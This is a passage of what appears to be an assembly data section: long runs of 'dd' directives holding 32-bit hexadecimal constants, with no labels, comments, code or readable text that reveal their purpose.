0E63E971Ah, 80943778h, 10D7CB27h, 90A0C1AEh dd 0F32492D4h, 31146C8Dh, 30DAFD80h, 9107C28Ah, 0D88EBCE6h dd 929490C9h, 944524E7h, 48D911ECh, 762324h, 0ACFD46BDh dd 4486B1BFh, 46E46A3Fh, 0D947F001h, 4F3669D4h, 248C609Eh dd 447A8048h, 58A19ECDh, 9B53D8F9h, 64C6E413h, 46787066h dd 46C20183h, 0B207AD34h, 0EA6F0E0Bh, 0C6BFA046h, 212791Bh dd 0B8FE7771h, 0A081AC1Eh, 30A690BDh, 0E852FBECh, 167B23CCh dd 3CB40EFAh, 64CCC98Ah, 2C740C1h, 124012EBh, 481BC5BEh dd 362C0F8h, 0FC6C198Eh, 7E46AB7Ch, 13002922h, 506EA875h dd 74C765F7h, 0AC593D36h, 0C614F981h, 204410DBh, 0B1C0E424h dd 28AB8E73h, 0EA3914D6h, 0C500AC30h, 972412DBh, 38924198h dd 2F670A15h, 78D42C8Ch, 30841937h, 63D224C0h, 0F1A4902Ah dd 8BC44B10h, 62C294Dh, 0EFA8E49Dh, 0FBAD26A9h, 0BEDB03FCh dd 3824C8D0h, 97694014h, 81B611DCh, 268D2ABEh, 68619Fh dd 30F4773Bh, 0BD079D71h, 0DC433F6Ch, 44EC8149h, 7182011Ch dd 0B5620F2h, 0A9CD8C0h, 501CDCA9h, 1459C590h, 0A07A900Eh dd 0EF1D4678h, 0B8EC0D19h, 0E43808F6h, 0A24C3F40h, 4491152Ch dd 0AD961294h, 3E09505Eh, 0FC8801A1h, 0B0203D10h, 0B79C88EBh dd 616DE703h, 0C83B6AC9h, 74C7AD3h, 3CBEF171h, 5A00CFEAh dd 59B21D9Ch, 0EB84CE00h, 48125E13h, 0B880F7D2h, 40FF9A7h dd 922E6607h, 0B20F5CFEh, 2BCA2071h, 791243h, 0EA53B0EDh dd 5E24076Ch, 0D0735A18h, 3089AF40h, 0C586F1Eh, 0E6F6B057h dd 6D379A04h, 0D8C816E4h, 0BB4110ABh, 0AF470929h, 31EC043Eh dd 65B21247h, 0BE0081E3h, 958C20A5h, 0C3E2E943h, 0B721BF31h dd 62EF9C00h, 61B20C0Bh, 0A8077F7h, 0A96A5917h, 79C9C06h dd 9790C859h, 0B9288C8Ch, 7E7400A4h, 5BD39333h, 3501F47Dh dd 9EF9070Dh, 4C48D5E9h, 0BBEB1A30h, 4C24903Ch, 0F98540C2h dd 5D9CFEAh, 3856BC61h, 29A89017h, 754D53F4h, 46BC8030h dd 43D7AD2Eh, 0A3922B1h, 0E146E485h, 8D138054h, 1EC6CE61h dd 0F63F3200h, 9B5E6A37h, 0C8812FBh, 0EA6C82A8h, 895C830h dd 0B71B5E7Bh, 80802B58h, 0B2265A6Ah, 7A005CBCh, 0B0C68B4Fh dd 0E59F3059h, 2E18E9C0h, 0C88F8616h, 845DC40h, 0E67AF5ADh dd 2A8E104Ah, 9AAC0018h, 1A6A12DDh, 616F1288h, 63800CBh dd 0AB316E40h, 4E8A26Ah, 3B19C500h, 0A79176E4h, 37800420h dd 502632D3h, 21E20B8h, 0EDAA120Ch, 2AA450E1h, 1A02EC1h dd 1C9948FBh, 0F17D24D6h, 7E19803Ah, 9DB22C93h, 2BAF0021h dd 8006B86Dh, 260F7273h, 5BB58C6h, 7CC07D2Fh, 1879FE60h dd 0E896024Fh, 6B00C6E1h, 0DB1262A4h, 98301E7Ch, 8DF621C4h dd 7DA86D80h, 860CC6ABh, 1142844h, 0AE52A876h, 44B72F89h dd 0F2F4A2B0h, 581C30EEh, 8006E839h, 8372F6EAh, 0E6A19715h dd 4CDEE2A8h, 3C0B4013h, 0A8A2E97Ah, 200C2F73h, 18B64B06h dd 0F8D399B4h, 5CEA1201h, 7E58D479h, 12AD9474h, 20ABE003h dd 0E740F5F4h, 25D0A140h dd 0D8885EB8h, 80FC1184h, 0ABC7A87Bh, 0C10D4296h, 3CA883DAh dd 0D79B988Ah, 40614184h, 2098351Fh, 21008847h, 2AF5D33Dh dd 0BB95CA5h, 4C5AD70Ch, 0F45601C0h, 2EA80200h, 1E927C62h dd 0D50700A6h, 0C3318F28h, 8900C84Fh, 0F1B9C575h, 499878h dd 0A4AD5326h, 341FEA3Ah, 870007EAh, 0CCDF4AD8h, 0E7E880h dd 88DB4B57h, 9F33E4B8h, 0CF607000h, 5837637Ch, 2599009Dh dd 0E24F4AD4h, 8B0F4D84h, 1CF29859h, 3A500480h, 5472D6h dd 0ABD41B93h, 352DA4Dh, 8B59903Dh, 9EAA47h, 7398537Eh dd 283A6024h, 0CF4F2D4Bh, 1D2FAD48h, 1030A4C6h, 18C5BEBh dd 3B88F2F7h, 98900AF3h, 4A219C08h, 0BA8C0083h, 0C05D6E8Bh dd 7A1E84E8h, 28401061h, 0DA798A33h, 809C673Eh, 4938BCCFh dd 77898C0Ch, 0EF11E9h, 66F0B5C0h, 545B7009h, 0E5085066h dd 592A0021h, 276DFDB5h, 43300A4Bh, 7ED250A7h, 683160BCh dd 941F4F2Eh, 9C807674h, 0C3A90124h, 90121B4Bh, 0C4098CF3h dd 3C204Ch, 0C556A91Fh, 82CDDCB4h, 8C96AA1Bh, 8CA07558h dd 0E7B5C304h, 0EE625166h, 0B55C0F20h, 5F7F0081h, 462F9A17h dd 0ED627693h, 40AEB121h, 751B9060h, 0A0CD0732h, 0E0BA2248h dd 2C91D43Ah, 6ACEA500h, 0D1BE83E6h, 1CABEEADh, 87F96B84h dd 0F03CAC60h, 0F150DE9Dh, 0EC24AE00h, 0E56D865Ch, 6CB5394Ah dd 36BC81BEh, 0F4E68A00h, 0B9708D5h, 70E0431Ch, 2D5CB49Ch dd 0FCA4FDC0h, 2DB3740h, 98CD3CEFh, 0D1E053B8h, 0C300AF57h dd 27160D04h, 1E7A936h, 51A2BE17h, 0F8C53892h, 1400A5F0h dd 2869AF1Ah, 38C47096h, 0F213F53Bh, 198907E4h, 324BA0E2h dd 0D300B1BEh, 1C85FE35h, 3DA8E5h, 0C74A3147h, 786A8891h dd 96B0C02Eh, 0F6FF2D00h, 7BFA06h, 1D897493h, 2B84750Ch dd 1BF58C03h, 0A61927B6h, 0D361248h, 0A36B0D6Ah, 12208010h dd 711D3124h, 303A76B3h, 7218A5ACh, 0BD07597Dh, 7B8CCBD4h dd 0B6396350h, 0CCAA003Ah, 1E0C21C3h, 101CAFDFh, 13804436h dd 6541C6F6h, 0BEE04084h, 0CFB121Dh, 4589D1C2h, 0EF012BE2h dd 88A61C76h, 0F6D5130h, 0B6401A28h, 0D79E1322h, 689CAC03h dd 0D0D9A814h, 329DB64h, 6B0DA7D2h, 0A900C29Dh, 14ED1D2Ch dd 0ABBCB372h, 2F46E198h, 0C986CF40h, 39120063h, 0B4114ADh dd 38C0AACEh, 0BF2156E5h, 10DD39F3h, 6FC600F8h, 0BA718E25h dd 5803DCC4h, 3A8C6EFBh, 0C078C6BEh, 7F075B36h, 937414ECh dd 8097833Ah, 0A7C90A08h, 113E6Bh, 4AC51C2Ah, 0D11633F6h dd 0B1061B00h, 6D340E50h, 0BBF90D05h, 0E0204872h, 4130227Ch dd 55C631C3h, 0DF580001h, 0A15B2EB7h, 0D000795Fh, 8B977617h dd 0FA77F136h, 74511C92h, 306F409Fh, 0E534136Bh, 0DCF6C213h dd 6C4F221Eh, 0F014B42Fh, 0CDF11FAh, 355D1DF9h, 4A73399h dd 0A18815F6h, 40070877h, 80F8D60Ah, 22385BB5h, 941C931Dh dd 90FA85C0h, 39BDC982h, 0EE80412Ah, 64B6DF05h, 28C82551h dd 7BE44E78h, 427908BCh, 3C225487h, 7DE222DCh, 1820B524h dd 8080209Ah, 0A83B88DAh, 0EFB179C4h, 0A1675C46h, 6D516460h dd 3C83590h, 97C363A2h, 7CD8A774h, 0CC00629Ah, 90916F94h dd 238A6CBh, 0F44D47B9h, 50401908h, 4400504Ah, 61A11F3h dd 79597Ah, 67DBA9ECh, 7093B92Fh, 426E1E00h, 0D0987ECBh dd 0C5023B71h, 0A52E690Fh, 2FF57740h, 4F0F1BA3h, 602B1746h dd 0AA323FE7h, 9C7319h, 9B9B06Ah, 73F7A1EFh, 0B9821224h dd 0CC031700h, 7FB5Fh, 9198CA5Dh, 8F128EC7h, 578A5900h dd 2F6BD496h, 0B60C002Eh, 90F3745Fh, 0F23EA681h, 0E22C006Ah dd 35A53A44h, 0D80B070Ah, 0E02DB5A9h, 0AC1A017Ch, 80ECC43Ch dd 39F7D977h, 624182h, 73F24D69h, 0A3E22FEh, 0B82048h dd 681D0F77h, 739A6202h, 0D61500A1h, 293D9940h, 7F7EAAFCh dd 0D70A3Bh, 5DB36CD3h, 0ECCC2E47h, 9C000A0h, 0F7C7968Ah dd 64075161h, 1D398254h, 52A3D3E0h, 807700ADh, 0AB4C2D40h dd 0D00949Eh, 7A20C08Bh, 0E99A67h, 0F728C374h, 826092E5h dd 6E3FAF10h, 1F7F0100h, 9CFF41E4h, 0ACA97100h, 566AF0EBh dd 0F103005Eh, 5A2DDE2Fh, 72F8138Fh, 0AAD058h, 0BB1FFBBAh dd 49B609h, 14831163h, 7228C1D7h, 28902633h, 875F0C5h dd 5BA30062h, 970D63Fh, 0BE008CDBh, 1707453Ch, 78CF82FFh dd 0E2B800A5h, 0D4EC03A4h, 1600D5C2h, 0E9DEB671h, 866D77h dd 6BDD54BAh, 0D175C3A8h, 1BE73200h, 0C4B77A27h, 0E2AE004Eh dd 67F15C5Dh, 0AD00405Bh, 0A86BF9Fh, 0C56A63h, 0D527467Ah dd 249EA270h, 35117600h, 16569BC6h, 2A4C0A4Fh, 28C572Ch dd 32A2DD8Fh, 0D87C9561h, 9701E28Eh, 7DE44849h, 0A1C889D8h dd 0AED7C2Fh, 8578C951h, 0D10800BBh, 8A7BC853h, 0F3031A72h dd 12EB26D2h, 7480DC02h, 4C37F7h, 973D24BEh, 0E82A138Ah dd 8BF89601h, 370FA289h, 95606021h, 0BCF00AEh, 0D1EA478Ah dd 0A600F255h, 8617C2A9h, 5EB65A5h, 1B666177h, 0D6B8028Fh dd 5DC0C5C1h, 0DC73840Eh, 0A50032EAh, 0B8413DC9h, 127A21B6h dd 827F3Ch, 53447B68h, 0BC00D683h, 0DB98EBDFh, 1805CFFh dd 0A9B71C14h, 0E00D60C5h, 870158F1h, 825F1897h, 2024A29Fh dd 0B43F0031h, 0AD65687Bh, 0EA58D1A0h, 0D3ED01E2h, 2801A3B1h dd 4C2020h, 3129E4C1h, 0DAB8F3A7h, 3CFE11F0h, 0C6307772h dd 0A94FC08Eh, 0BDD41A22h, 18C01070h, 0F200F8E5h, 546CAE11h dd 2A1A85h, 48967A01h, 406E81C1h, 25E5000h, 0F77509F9h dd 2C6F003Bh, 3E37777Fh, 0FB0053D3h, 0E1ACB59Ch, 0D81405h dd 0CF2B4582h, 336A9B67h, 8906A13Fh, 17325F7h, 2DD43424h dd 3754DCh, 0D0A3B994h, 0A9B370A2h, 0CE57AA05h, 0A090F8EFh dd 8A988Eh, 0C4C7C9FEh, 818D8F73h, 84C65500h, 9B8872C0h dd 95FF3887h, 1DC81780h, 790ABC23h, 7F16FC00h, 25EF1422h dd 77FD007Ah, 7CF29C44h, 3B049EACh, 0EA7FAF0Eh, 0B716C880h dd 7A18EA5Ch, 85F35053h, 883B00C7h, 2E148AC4h, 84282027h dd 0B701B82Dh, 0BE192B65h, 29DC76F7h, 16BC3DE0h, 0DDC1E80h dd 0CC4C3A84h, 0A1ED2E4h, 604E7056h, 0F2E4A031h, 4E7533h dd 0B38CC187h, 9EAED915h, 93E74CFh, 9B648025h, 71BF8A14h dd 0A7774h, 46CC59D1h, 295FF8CEh, 35EF7E00h, 0B3DA9EB0h dd 2FF03CFh, 897DAC3Dh, 67D20B88h, 70C6F20Bh, 9D44A04Bh dd 0FFFDF75h, 0AD986EEAh, 87655165h, 9E618FA4h, 0F4FB9D7Fh dd 8E009682h, 0FD2EC9E4h, 2E2B373Bh, 0FAE1ED3h, 84C05C75h dd 0E86660F2h, 51003490h, 0F1ABD54Bh, 0A48A4Dh, 12DB8CB4h dd 69E1B515h, 0E42E4200h, 828F4A76h, 11DD0189h, 6D753DCFh dd 0C1C62047h, 0B5E6B300h, 0DBEF5483h, 0A2E20799h, 0C16F4622h dd 0F47709A3h, 0EE006472h, 0D7403B93h, 24E54Ah, 9D6E411Fh dd 20B2EA14h, 27659B1Ch, 3CFE06C4h, 0C03FC6h, 0CEAE9379h dd 9D62A456h, 1D2C3A00h, 84EAA636h, 0FF9800C1h, 0B772D0CBh dd 0BE48239Ah, 0F0B80063h, 2BDD28C6h, 3C20061h, 26DE384Fh dd 0E1003C6Ch, 0CF7FD30Eh, 30794804h, 5D887AA0h, 0A13A2394h dd 86838063h, 30C85876h, 590603CEh, 4A313840h, 0A94ECF8h dd 83AA1200h, 5F162AE0h, 0EEE8030Fh, 257A6AE7h, 0CAD45498h dd 554A8D00h, 7918A14Eh, 0E3340761h, 70E23A83h, 0ACB4646Ah dd 0C5AEEE00h, 0CF4C3FA6h, 0D0C6017Bh, 4A069808h, 57BFC4CCh dd 0C7376A00h, 8A3CA72Ch dd 522300B4h, 0AE2771E7h, 824C42A3h, 93F2002Bh, 0B595E68Dh dd 13BF0026h, 41FD5FF1h, 52008284h, 0F71219F4h, 80510Dh dd 0A492B04Ch, 0CD179A55h, 5BBBFA01h, 48BEBDABh, 46E8D5C9h dd 82DA3D10h, 0FE2B2F01h, 20660B9Fh, 0E00EE3Ch, 7D1848B5h dd 48091644h, 1500D426h, 0F01751E4h, 4C02100Fh, 0C774BA2Ch dd 44F842BFh, 0BED10008h, 85999171h, 0FA0B14F9h, 87C02B60h dd 5853980h, 879A6CD1h, 0B09491F4h, 333E12F3h, 378807FCh dd 6B9900F8h, 0C00046D4h, 0D6EFF734h, 41CF9Ch, 62535BDh dd 58A18FC4h, 9FF12800h, 72AE6A6Ch, 0E6310036h, 0AF6777AAh dd 47003B5Dh, 107C95CCh, 67190B5h, 0A4DA94ADh, 642EB2BBh dd 9AA89C49h, 0DC4FC926h, 47E9E8Eh, 0C8C3745Eh, 8CC0CD3Ch dd 2812910Ch, 0FFF4A07h, 695B40E6h, 818A17C5h, 0E83542E4h dd 74003834h, 0FBD9CBDDh, 0CD2EF3h, 0A2B14556h, 16E10B4Bh dd 36B35B00h, 4C88D10Ch, 6FCB0035h, 454E05DFh, 0CA03145Ah dd 60DA5BC5h, 0AD368033h, 1457E2FFh, 9C88B667h, 4CEC7B00h dd 24AB3FD4h, 0EEE5BD00h, 1D99B5A0h, 86A901F8h, 0AD93548Bh dd 5DD3CCCCh, 0AEE8F600h, 161177D5h, 18BE042Ch, 0C0C97527h dd 0F3E6F45Fh, 0ECAFA800h, 8B0891D3h, 0D80700DAh, 1F636FE3h dd 0D000A151h, 0FC95AE8Dh, 0E6A37D9Eh, 5BBE006Dh, 1DC743CEh dd 90B09698h, 0FE3AE300h, 205F2662h, 737D00C9h, 580D574Bh dd 7C00B021h, 3083FD69h, 0B8D2Eh, 46D0FC8Eh, 28F05F9h dd 0C6384DF4h, 0EE060049h, 551699A5h, 0BB980084h, 0F7BD92ECh dd 7C07F087h, 631CFE44h, 7827A06Fh, 2ABF3EDh, 0DDF6B090h dd 0C8C5CCEAh, 109FA93Ch, 0A39B3F0Fh, 4E49AD4h, 9D77D10h dd 0F40C9085h, 1F01DAA6h, 33165A8Ah, 9198EDC0h, 0B7BB2087h dd 0AE967500h, 0C72F3C0Ah, 0D7D9006Fh, 0F8D45C41h, 6133692Eh dd 0A8DDD8A6h, 0EC68E36Ah, 53270707h, 3450616h, 0BCC934CDh dd 7F542042h, 90F93B00h, 1EE53E5Eh, 3DD00051h, 52627A5Dh dd 327CB55Bh, 9A1FA707h, 1244BB4Fh, 53D3C3C7h, 6818F80Fh dd 0A9A7006Bh, 0D8713B1Eh, 8500B184h, 0FD5899C7h, 2E33F8h dd 69A06A78h, 3093A226h, 77616D00h, 92AD2766h, 677B0B2Dh dd 2E8E75A1h, 1C03BDA3h, 0F6DD4200h, 0CEF4C282h, 0E29A01C5h dd 0D7BA49Bh, 1BE060A9h, 1049B125h, 783A67B0h, 0BD1E045Ah dd 0D3690246h, 2EC10320h, 0CB16C480h, 0B1E3C90Ah, 7684D457h dd 0EE85AFF3h, 4E4DC180h, 0C048180Eh, 9DE12162h, 57ABD600h dd 0A105201Dh, 92C23DF8h, 504B16h, 0C48FCDACh, 48905171h dd 0B807A777h, 0F232D341h, 0C26A5DB0h, 0BF681FA3h, 83FA40B4h dd 54F9C843h, 0EF26C000h, 5099FBEEh, 1473AFFh, 0EC69CD02h dd 1878C8D5h, 0B38E6A0Eh, 0D93FC0A4h, 40903B8h, 832DB7CFh dd 3B2487BDh, 286D6C10h, 0E0006B76h, 428F85A6h, 2D6854h dd 14004B3h, 92AA89A5h, 0A001F84Eh, 0D148FC46h, 1F6282DCh dd 342458h, 6D56576h, 98000B86h, 0DF848F09h, 0CB470Eh dd 33E7E189h, 0F26261ACh, 309C2376h, 0F0102605h, 789100C1h dd 0D09D040h, 89290088h, 0BD7A2371h, 4D761CDBh, 0BC8D0407h dd 0B8AAB828h, 47813A00h, 0EC64EA2h, 0A9A34B20h, 0D3EEE61h dd 7013C90Fh, 5802BE3Dh, 2728933Ah, 1440401Fh, 5C6A00B4h dd 5E95AD25h, 52007247h, 46647A04h, 1C6678AEh, 41C2E915h dd 0DF86A81h, 4D87C05Ch, 0D2723000h, 549F9AD8h, 0D04602FCh dd 44552A7h, 0F9D099E3h, 0AB00AE5Eh, 0EBD232B9h, 18125C1h dd 0BFF540DCh, 0C41FB0CDh, 760026E5h, 48D06698h, 0FE8DBAFFh dd 17D00F1h, 295607AFh, 0E900982Eh, 49CD472Ch, 11BFC02h dd 41579B8Ch, 0D47F12F9h, 0BE155A7Ch, 0BF872CDh, 85D35934h dd 3481CC1Ch, 69ECAC6Ch, 0CFC3023Bh, 0BCB1BF01h, 9DB80043h dd 4D39209Ch, 4EA10140h, 0A6711978h, 3C138870h, 6B07AC65h dd 2080451Bh, 42B42D85h, 3B794000h, 0BE8C0688h, 39830028h dd 92C390EDh, 46489E57h, 11BC0040h, 0E7C94A05h, 0A2F1E39h dd 0B0EC42CBh, 2C5867EBh, 0AB8F7200h, 8B7BCEDAh, 0C9300025h dd 2B5437A2h, 0FE004F68h, 58929194h, 12F7BBDFh, 76B939Ah dd 40EA71B0h, 0FECCEB23h, 0EEFFA80Fh, 8D780C1h, 6748186h dd 0A7E27372h, 0B00306Eh, 0E15F672Ch, 4E7BE93h, 85917E4Bh dd 0DB58087h, 0FD001FE2h, 0D0065621h, 0C1724AD2h, 17128938h dd 0E668822Ch, 0E1B3DC80h, 96D10964h, 0F6070828h, 0E057C242h dd 7D6B8691h, 0A1FD9A03h, 132974Bh, 46C6D149h, 30EAF624h dd 0AA30DAD0h, 5189591Ch, 68614C38h, 6853AF06h, 4F02182Bh dd 2C6D4E4Ch, 799CC0A8h, 0EC7C72h, 7A3A37F6h, 0DE2FE5BEh dd 2E81E903h, 0FF8D6h, 64554538h, 2743DFDBh, 335FBA00h dd 2E9D6DEAh, 1D7B1F5Ah, 0D1F99313h, 0F8775DE0h, 0D02C8241h dd 1C001A45h, 0A12097A9h, 0EAA700A3h, 0C55FCE74h, 0A009FB81h dd 917FCB85h, 0A2F81CE0h, 924E3764h, 735BE03Ch, 0AD3B5978h dd 0C3282667h, 845C4B0Ah, 0AB1FEA00h, 24D7EB37h, 1344B5B9h dd 3E340047h, 45F79C40h, 69247200h, 177E6307h, 1CBDE228h dd 1ED3431Ah, 46CA023Ah, 34480F5Ch, 0A4998E34h, 47029111h dd 820987BAh, 28C62862h, 0D897009h, 9B3C89CCh, 0BB110094h dd 46334C8h, 0AD00A1B0h, 2F8F5B1Eh, 0B64AF811h, 0DC9001D0h dd 807D25A4h, 0DB362358h, 4E2103h, 0FC27582h, 11F90764h dd 1F1DF0Ch, 28DA3929h, 3EA15C90h, 600466AFh, 0C8596173h dd 4653529Ch, 1FAB00BCh, 72EFE622h, 0F24D00EAh, 0DCD72A33h dd 0A9022DA5h, 169EC0B5h, 2E6FE052h, 192B0026h, 0B22F6A88h dd 0F7732A68h, 0B108D67h, 8B043660h, 7C39F653h, 0EF1218B5h dd 15EA482Ah, 30282419h, 4DC417A9h, 71C20092h, 0F28C9A91h dd 0B6189F54h, 0FC884350h, 273A0CF1h, 9C605519h, 9558EE7Bh dd 20B11FE9h, 0EA938340h, 1BA8B7h, 0E38B98B2h, 82603EEDh dd 509E9B7Fh, 45803D0Bh, 0FE428C70h, 0D60B0710h, 219A82DCh dd 60DDFA8h, 27B695ECh, 0AC897D89h, 0F5A640C0h, 0F4BF0A00h dd 0AA96838Eh, 0AC2D143Ch, 0E00AA91h, 0F03170F9h, 743EFFDEh dd 32669252h, 4560C497h, 0A93D82h, 32D2F69h, 522839F1h dd 379B2701h, 36978F19h, 43829042h, 29440794h, 7A2A18h dd 3169813Eh, 0A52B5500h, 7E776C02h, 0FB0701Dh, 0DCF167D0h dd 0F5D5AB60h, 0BD3A1F1Ah, 90C580DDh, 0C2D61D7Dh, 12F7F67h dd 2B4E0818h, 80782856h, 0D9E82959h, 0A8F1F4A1h, 2923184h dd 0F2EA626Ch, 0A040B9B6h, 36589E46h, 5F598004h, 2DDEFE45h dd 0C807E20h, 0EF938BA5h, 8F89D339h, 0A7508F4Ah, 0F090AC38h dd 28F1FEAFh, 984D5Dh, 6DB98E5Ch, 60961516h, 25B6DB3Dh dd 57F487CDh, 9B040099h, 0B90FCh, 2C5E0C0h, 0B46E949Ch dd 7FB4412h, 77CA5F00h, 1E689891h, 80FD1C5Ah, 9EB06E04h dd 4C033261h, 92E079ABh, 0B9D3A0A4h, 62D7003Ch, 37416E26h dd 0C000F69Eh, 0F8CFDD9Ah, 74775BDh, 498C740Ch, 0DE306026h dd 79B86E90h, 21671E07h, 8A44AE48h, 6DCDD8C0h, 0F43781C5h dd 5700DA3Ch, 0F20D7E4h, 67D5A87h, 0E0772330h, 1003818h dd 4A4D6017h, 0F9F93A0h, 52C9BF2Fh, 0B08759E0h, 3B00E513h dd 0DD474F77h, 0CC6D789h, 34FC433Fh, 740E7920h, 0D7136D6Ah dd 23530C0h, 0B4BA7Ah, 681445FBh, 701BA5E5h, 0C0FA9C06h dd 77216E1Ah, 306CB8AEh dd 0F010DE14h, 0F9288E86h, 0ED07BDA2h, 0C5F3A6D7h, 35714960h dd 0D57E24Dh, 31A5F473h, 0F0FAA9h, 0BE071173h, 622238BAh dd 0F18042C1h, 0F5803CBh, 118E3C6Ah, 8F13318Eh, 3B001667h dd 44FF81C1h, 0B5EF0070h, 23E08629h, 6C986E59h, 0AC8C6500h dd 90BCAFB4h, 53A524B6h, 0D7628048h, 4C4A17E3h, 33CA0707h dd 4E094A6h, 0F89A8AB9h, 5570004Bh, 0D0D8EE03h, 0D5001B7Dh dd 31E875DCh, 182B6DE1h, 90ACED70h, 601770Ch, 0F8C6E29Ch dd 686027E5h, 95F21791h, 6730043Ah, 50A87Eh, 5DDA949Dh dd 6FE817h, 0AFFF7627h, 7AE6B7E0h, 6B6A900h, 0FE4BEF69h dd 0C9E50h, 53110901h, 0EB483EBFh, 0FCE50264h, 61C8F4BEh dd 0F7D8B988h, 0DB170E71h, 97892ED6h, 26EF0E80h, 5539E18Ah dd 0DA3E809Ah, 950962A6h, 21E20023h, 656EF3D1h, 0DF0E7B8Ah dd 0BC6F44Ah, 9934E107h, 0C61D5F4h, 44A6F631h, 8300C678h dd 91BDF060h, 0E09A633Dh, 862A132Dh, 38AC1456h, 4F40C801h dd 68EE47FCh, 63007DF4h, 7DB24A39h, 1A3C1F6h, 0EF1AE782h dd 2A2458C6h, 0E8557000h, 41C3FF1h, 9867191h, 9848E0F5h dd 0D600FAB8h, 0B8931F15h, 3F2D332h, 6856AA3Ah, 100521ADh dd 19A16C24h, 36B9F000h, 12CA978Bh, 0E54919Eh, 6CA711E2h dd 5D5160C3h, 8F014170h, 0B762A26Ah, 3B6049AEh, 0B2200075h dd 0FA25B86Ch, 0B10012ECh, 601A14F5h, 2E63A7h, 75C3E0EFh dd 0EB9DAEA5h, 4765D201h, 4BF4B294h, 91E020h, 0F9D68969h dd 48CA9988h, 0C3748600h, 2968E298h, 83330005h, 636FABB0h dd 2F7E7A30h, 90007579h, 7B67FEDDh, 1BFC3CE0h, 60CF55C3h dd 298BED80h, 8002D339h, 6993C776h, 0FFDF71h, 7B54E711h dd 0DEDCB698h, 0E0212B28h, 0F8FB7F07h, 8EB0A2E1h, 2327CB7h dd 0D797DE48h, 27605089h, 67000CFEh, 1960F0C9h, 3DD2D4C8h dd 89AD8047h, 918AF810h, 0A8E4EF00h, 98B5107Bh, 60673D9h dd 0CBBA8C11h, 0F64868FAh, 4EC60B18h, 0F774201Ch, 2434E3E9h dd 2B8607Ch, 43943A6Fh, 31C6B480h, 0BD4974A8h, 0F070F24h dd 212CC9BEh, 0F63C1F0Ch, 464EC000h, 1660A018h, 58CB2559h dd 421C6071h, 2758071Ch, 0A811F261h, 0B7E7D180h, 7A000689h dd 52EA28A6h, 2E3BC813h, 3C04FAA2h, 0A5D4DE80h, 2A96C450h dd 0EF0120B0h, 805C27AFh, 0BA60E4E6h, 73B0EB2h, 96E098DBh dd 0E9A716C7h, 8C1C487Ah, 0FB2F94h, 0DC800862h, 1849924h dd 0F6A475C4h, 0EC5B1DA8h, 789DB03Ch, 0AA42006Eh, 0C8FD736Bh dd 0D8C5D530h, 2CB00605h, 394CF240h, 1200010Eh, 0B97C3F46h dd 0AFB0080Fh, 0BD14543Dh, 8A9800CCh, 4872A090h, 96C90FA1h dd 8D00F989h, 6901EC61h, 0CCE6932Ch, 0FCDC9104h, 6BB3B820h dd 9B008F73h, 319D704h, 7EA91Dh, 14DF8487h, 0C94F6983h dd 10733301h, 9BA2CE4Ah, 7708030h, 7549B262h, 0D47420D6h dd 0FCBB4F12h, 98E09F44h, 201601FDh, 9735C3B8h, 7380413Bh dd 0DC25FD60h, 0AF14D9D5h, 5A767A4h, 9A3D2FB6h, 0C3472880h dd 6B5A00C8h, 0FE3AE113h, 0F200521Eh, 0CCB29EADh, 1CCB3763h dd 0A445BB4Bh, 340E0555h, 7BC5C028h, 251D93B9h, 0D4405DEDh dd 165BCD46h, 629B02B5h, 44B85FCCh, 700E4F8h, 84914396h dd 77712F92h, 0AAEFAC2h, 0F7CEEB05h, 0FA8180D0h, 6AADFCF4h dd 0AEA89E00h, 58F2ED31h, 3BFB3FBFh, 0BB3380Eh, 0C02423A4h dd 0BC7CA3B8h, 0F9BA6E1Eh, 4F080615h, 0A93CAC01h, 184089C2h dd 0ECE9E8C3h, 0B16A01E1h, 86EB2D76h, 6C2822h, 0D272459Eh dd 3CA9F82Ch, 18E73FA2h, 85D1D078h, 0DCB257DDh, 0A600E07Fh dd 8C23AC53h, 0A563BBh, 0B213C6A3h, 2C472A30h, 0EA71847Ch dd 0EBC79700h, 4CFB9B5Dh, 0D03000D6h, 21AB9304h, 5EEA1396h dd 0C1F0091Fh, 5132CDC4h, 7795C490h, 0CA7E07DAh, 50A54D6Ah dd 7C7FF835h, 416BFF48h, 294414h, 0B142B64Ch, 0CA03CC67h dd 8DE26CA6h, 10059D84h, 1C102DC8h, 0FC1D0074h, 74FA852Ah dd 0A8E234h, 0BEDCCAD0h, 5E467D7Fh, 93226A1Dh, 8EDEED43h dd 7732C031h, 3405009Bh, 6FF94FDFh, 0CE01E075h, 54C97FE3h dd 0FF20950Dh, 6B9E0CB3h, 985646AFh, 0B0CFE42Eh, 0EA40100h dd 13DD3138h, 0EEF28956h, 5888C700h, 0E7CC415h, 0C9B96B3Ah dd 49D1D580h, 0A37D93B6h, 7543D800h, 600CAA29h, 620B007Bh dd 2BAE940Fh, 427061ECh, 9E3E0E00h, 0A1A28381h, 987607F4h dd 90999D3Bh, 0F793E9A3h, 9E1AD4F3h, 0E98B9B26h, 4B67AA00h dd 838DFh, 15CCB4F1h, 1E3D39D0h, 0EA72501h, 0E7408404h dd 0D0EDA053h, 3AFDC6h, 0EA6DF72Ch, 6463CBB1h, 0D2FC3707h dd 6280DEE7h, 6F1C9Fh, 0E9EC7D49h, 8D089113h, 50B96300h dd 3667A647h, 5AE23EBBh, 30934900h, 0C9D61C7Bh, 8063203Fh dd 0BF951AA1h, 0EEA3EE32h, 0DA06010Ch, 559385A8h, 0D108138h dd 0D792D203h, 0E7EDC8FBh, 757000F3h, 9D290BBEh, 0F23DDEDFh dd 8FFE3A0Dh, 605A15EBh, 0AD6CAA3Dh, 71210085h, 44569565h dd 0E3391AD3h, 18A180C6h, 0E919C70Ch, 3A8E0006h, 259A0188h dd 0E4006675h, 0FBE2BD3Eh, 4A464Bh, 0F8E9B5C2h, 0B4305D9Dh dd 0BB003878h, 260537B8h, 16F6D36Bh, 0C0A70C1Fh, 0B3D7393Ch dd 7EB79D03h, 0C458E2h, 2AB628F0h, 49560412h, 0D46C3B00h dd 6B46AE18h, 0D42349E2h, 2C09CC00h, 0C136ADDDh, 918C68C0h dd 1FAF6A90h, 0C1E5076Fh, 0B869860Ah, 846D308Bh, 0EE778A05h dd 0FA00702Fh, 68239C29h, 0C48500EFh, 0BACAFAF2h, 0D77E6FBBh dd 0C0800B06h, 0C86130h, 0E9E795E1h, 0B59235ABh, 0BBBCF707h dd 63C07FF9h, 2C5DC93h, 0E0D70E57h, 0E278AB5Bh, 158C1801h dd 0AECE785Eh, 2871C8h, 0F77B2432h, 2F60A436h, 4DFEA200h dd 664C92ACh, 1E2E0C1h, 0BF400462h, 0D85123F3h, 0C53AF6DEh dd 54C74E45h, 463B60FEh, 0CB4A97h, 0F1A35BC0h, 2FD24929h dd 9E260F00h, 1D818FF2h, 0AE771D70h, 